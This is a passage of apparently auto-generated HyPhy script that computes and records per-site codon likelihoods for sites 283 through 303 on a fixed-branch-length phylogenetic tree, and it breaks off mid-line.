tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"283\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 284...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"849,850,851\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 284\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"284\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 285...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"852,853,854\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 285\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"285\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 286...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"855,856,857\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 286\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"286\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 287...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"858,859,860\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 287\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"287\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 288...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"861,862,863\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 288\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"288\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 289...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"864,865,866\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 289\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"289\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 290...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"867,868,869\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 290\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"290\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 291...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"870,871,872\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 291\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"291\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 292...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"873,874,875\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 292\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"292\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 293...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"876,877,878\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 293\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"293\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 294...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"879,880,881\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 294\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"294\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 295...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"882,883,884\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 295\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"295\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 296...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"885,886,887\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 296\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"296\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 297...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"888,889,890\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 297\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"297\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 298...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"891,892,893\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 298\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"298\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 299...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"894,895,896\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 299\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"299\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 300...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"897,898,899\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 300\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"300\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 301...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"900,901,902\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 301\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"301\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 302...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"903,904,905\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 302\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"302\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 303...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"906,907,908\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 303\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"303\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 304...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"909,910,911\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 304\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"304\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 